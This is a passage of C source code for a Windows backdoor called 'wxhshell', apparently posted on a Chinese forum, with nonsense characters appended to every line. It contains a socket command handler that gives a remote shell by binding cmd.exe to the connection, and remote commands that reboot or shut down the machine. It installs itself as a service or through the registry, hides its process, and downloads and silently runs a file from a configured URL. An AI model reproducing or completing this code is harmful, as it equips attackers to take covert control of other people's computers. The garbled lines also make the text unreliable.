  // 帮助 S(=@2A+;  
  case '?': { Nr@,In|JS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rT="ciQ  
    break; ,I iKe_B  
  } u&y> '  
  // 安装 -IIrrY O  
  case 'i': { Qz`evvH  
    if(Install()) 4H;g"nWqO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -t_&H\_T  
    else P#pb48^-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^(Gl$GC$Mu  
    break; HtN: v  
    } @Hj]yb5  
  // 卸载  o]0E  
  case 'r': { .Z 7t E?  
    if(Uninstall())  !5 S#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DvWBvs,  
    else 0Y`+L6&UX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0yjYjIk"T  
    break; []OS p&  
    } F]OWqUV  
  // 显示 wxhshell 所在路径 `@ Z$+  
  case 'p': { xgOt%7sb  
    char svExeFile[MAX_PATH]; K81FKV.  
    strcpy(svExeFile,"\n\r"); !@V]H  
      strcat(svExeFile,ExeFile); s\'t=}0q  
        send(wsh,svExeFile,strlen(svExeFile),0); 41R~.?  
    break; X>dQK4!R  
    } qA}l[:F+#  
  // 重启 , wk}[MF  
  case 'b': { dhLd2WSyH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); # wn>S<  
    if(Boot(REBOOT)) .WglLUJ:Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tli*3YIw  
    else { |QrVGm@2  
    closesocket(wsh); !le#7Kii  
    ExitThread(0); Lh+7z>1  
    } )~)T[S  
    break; kb-XEJ}L  
    } ;180ct4  
  // 关机 =>*}qen  
  case 'd': { BDN}`F[F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p7},ymQ|YQ  
    if(Boot(SHUTDOWN)) 7\dt<VV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sn97DCdk  
    else { B4OFhtYE  
    closesocket(wsh); 6\h*SBI?(  
    ExitThread(0); #E4oq9{0*W  
    } ^g'uR@uU  
    break; N]BH67<  
    }  w&U28"i>  
  // 获取shell :hHKm|1FE  
  case 's': { UeUOGf ,  
    CmdShell(wsh); Na\&}GSf^  
    closesocket(wsh); jcePSps]  
    ExitThread(0); Jcvp<  
    break; $hM9{  
  } Kd}%%L  
  // 退出 9aID&b +  
  case 'x': { z#5qI',L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rl"yE=  
    CloseIt(wsh); x!4<ff.  
    break; 2Z(?pJyDM  
    } $SLyI$<gP  
  // 离开 E]Cm#B  
  case 'q': {  X56.Y.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *{fZA;<R  
    closesocket(wsh); }Ej^"T:H_;  
    WSACleanup(); @ /e{-Q  
    exit(1); IFSIQ q  
    break; 7vqE @;:dt  
        } 'mU\X!- 4<  
  } =+e;BYD#!  
  } 9dg+@FS}=  
V" 5rIk  
  // 提示信息 2$Z4 >!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R<T5lkJ\/  
} rp-.\Hl/a  
  } 3qfQlqJ&3  
7n#Mh-vq  
  return; i piS=  
} i .?l\  
J<L"D/  
// shell模块句柄 uN&49o  
int CmdShell(SOCKET sock) `)jAdad-s  
{ $nthMx$  
STARTUPINFO si; g C@=]Y  
ZeroMemory(&si,sizeof(si)); &>@EfW](  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m]++ !  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M4XU*piz  
PROCESS_INFORMATION ProcessInfo; btf]~YN  
char cmdline[]="cmd"; 9@(V!G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #1>c)_H  
  return 0; ?cr^.LV|h^  
} 7*&q"   
U,9=&"e b  
// 自身启动模式 Jpe\  
int StartFromService(void) ECOzquvM  
{ 4!+IsT  
typedef struct j W|M)[KJN  
{ oFJx8XU  
  DWORD ExitStatus; %tz foiJ%P  
  DWORD PebBaseAddress; kEdAt5/U{  
  DWORD AffinityMask; 62OZj%CXN  
  DWORD BasePriority; 2)`4(38  
  ULONG UniqueProcessId; 0o!Egq_  
  ULONG InheritedFromUniqueProcessId; $T'lWD*  
}   PROCESS_BASIC_INFORMATION; [{-;cpM \  
K30{Fcb< h  
PROCNTQSIP NtQueryInformationProcess; *Q3q(rdrp  
^paM{'J\\)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /9u12R*<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \g;-q9g;O  
[M.!7+$o  
  HANDLE             hProcess; _%aJ/Y0Cy  
  PROCESS_BASIC_INFORMATION pbi; Pu]Pp`SP  
n ^C"v6X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _E[)_yH'-  
  if(NULL == hInst ) return 0; z`@|v~i0`  
`oH6'+fT`;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &FzZpH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "M:0lUy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jTz~ V&^  
%wux#"8  
  if (!NtQueryInformationProcess) return 0; .{#J2}+[_}  
20RISj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RS[QZOoW}  
  if(!hProcess) return 0; +,Z Q( ZW  
}Ias7d?re  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q6>%1~?  
|lf,3/*jDB  
  CloseHandle(hProcess); g)~"-uQQ  
K@@[N17/8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fnO>v/&B  
if(hProcess==NULL) return 0; 1lQO`CmR6M  
sq'bo8r  
HMODULE hMod; w97%5[-T  
char procName[255]; 2~*.X^dR  
unsigned long cbNeeded; S_56!  
B=+Py%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _ye74$#  
NXDuO_#  
  CloseHandle(hProcess); zH+a*R  
CrI:TB>/ "  
if(strstr(procName,"services")) return 1; // 以服务启动 },G5!3  
g flu!C6  
  return 0; // 注册表启动 LYyOcb[x  
} .~dNzonq  
;JQ;LbEn  
// 主模块 ]eZrb%B .  
int StartWxhshell(LPSTR lpCmdLine) EAXbbcV  
{ z 7g=L@   
  SOCKET wsl; =?g B@vS  
BOOL val=TRUE; Qc]Ki3ls  
  int port=0; 6` @4i'.  
  struct sockaddr_in door; %oE3q>S$en  
S+&Bf ~~D  
  if(wscfg.ws_autoins) Install(); #Rcb iV*M  
Ves x$!F#  
port=atoi(lpCmdLine); jpek=4E  
KI{B<S3*Z  
if(port<=0) port=wscfg.ws_port; h#rziZ(  
+&h<:/ V  
  WSADATA data; vCS D1~V_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P<A_7Ho  
hV]]%zwR+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -9z!fCu3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'l*p!=  
  door.sin_family = AF_INET; S 7 *LV;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kls 6Dk#  
  door.sin_port = htons(port); '9d] B^)F  
8C>\!lW"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fC$(l@O?  
closesocket(wsl); 3c.,T  
return 1; aaODj>  
} V1Opp8  
)Cfk/OnRd  
  if(listen(wsl,2) == INVALID_SOCKET) { TmIw?#q^  
closesocket(wsl); :N ~A7@  
return 1; L1J~D?q  
} Y<0R5rO  
  Wxhshell(wsl); ny{Yr>:2  
  WSACleanup(); h#7p&F  
Doj>Irj? 7  
return 0; nL@(|nJ[  
j!<(`  
} J}'a|a@bk  
rsgTd\b  
// 以NT服务方式启动 8\/$cP"<^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %DR8M\d1~H  
{ FH}2wO~_  
DWORD   status = 0; J-wF2*0r<  
  DWORD   specificError = 0xfffffff; sbi+o,%1  
cg]>*lH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !m<v@SmL\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xaG( 3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \T]'d@Wyd  
  serviceStatus.dwWin32ExitCode     = 0; *kE<7  
  serviceStatus.dwServiceSpecificExitCode = 0; 51&K  
  serviceStatus.dwCheckPoint       = 0; 78fFAN`  
  serviceStatus.dwWaitHint       = 0; \&Zp/;n  
-- chU5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +1o4l i  
  if (hServiceStatusHandle==0) return; T>2_r6;  
`8sC>)lrwu  
status = GetLastError(); kI|7o>}<   
  if (status!=NO_ERROR) /pS Y~*  
{ Qt`;+N(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `!A<XiAOmM  
    serviceStatus.dwCheckPoint       = 0; ]Ll<Z  
    serviceStatus.dwWaitHint       = 0; {oK4 u  
    serviceStatus.dwWin32ExitCode     = status; O4.`N?Xq  
    serviceStatus.dwServiceSpecificExitCode = specificError; A5[iFT>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .L#U^H|  
    return; F2:nL`]b[  
  } GI _.[  
Yfd0Np~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]]^eIjg>a6  
  serviceStatus.dwCheckPoint       = 0; -b`O"Ck*  
  serviceStatus.dwWaitHint       = 0; aoP=7d|K/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o;5ns  
} *'ffMnSZ  
mx3p/p  
// 处理NT服务事件,比如:启动、停止 vnS;T+NZSC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z<u*I@;  
{ tEFbL~n  
switch(fdwControl) bDADFitSo  
{ aF]cEe  
case SERVICE_CONTROL_STOP: @D@_PA)e(  
  serviceStatus.dwWin32ExitCode = 0; cy @",z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %-J} m  
  serviceStatus.dwCheckPoint   = 0; ;:A/WU.^  
  serviceStatus.dwWaitHint     = 0; !<#,M9 EA&  
  { .TpM3b#r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /=IBK`  
  } &~{0@/  
  return; I:Q3r"1  
case SERVICE_CONTROL_PAUSE: yYN_]& ag  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _k O<|ev  
  break; mP[ZlS~"  
case SERVICE_CONTROL_CONTINUE: /JbO$A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q)rxv7Iu\  
  break; ]7DS>%m Y(  
case SERVICE_CONTROL_INTERROGATE: Yx"un4  
  break; K zWqHq  
}; gO%o A} !i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p|9Eue3j2  
} %s* F~E  
ZXH{9hxd  
// 标准应用程序主函数 $3)Z>p   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e.VR9O]G  
{ -ztgirU  
_Qd C V`  
// 获取操作系统版本 O~DdMW  
OsIsNt=GetOsVer(); 6O\a\z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h"ZR`?h  
L)yc_ d5  
  // 从命令行安装 !}I+)@~\w  
  if(strpbrk(lpCmdLine,"iI")) Install(); ={[9kR i  
Ce`#J6lT  
  // 下载执行文件 #Pr w2u  
if(wscfg.ws_downexe) { V<ExR@|}.%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gk-49|qIV  
  WinExec(wscfg.ws_filenam,SW_HIDE); VbfTdRD-  
} 2C[xrZa^  
O0RV>Ml'&  
if(!OsIsNt) { .{,fb  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,0\P r  
HideProc(); 4D=^24f`0  
StartWxhshell(lpCmdLine); Aw"Y_S8.  
} /ht-]Js$G  
else *Eg[@5;QA  
  if(StartFromService()) uRCZGg&V?#  
  // 以服务方式启动 4#Cm5xAt6  
  StartServiceCtrlDispatcher(DispatchTable);  4"~F  
else JrNqS[c/  
  // 普通方式启动 pKNrEq  
  StartWxhshell(lpCmdLine); *iiyU}x  
%@'[g]h k  
return 0; P={8qln,X  
}
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只看该作者 1 发表于: 2006-10-10
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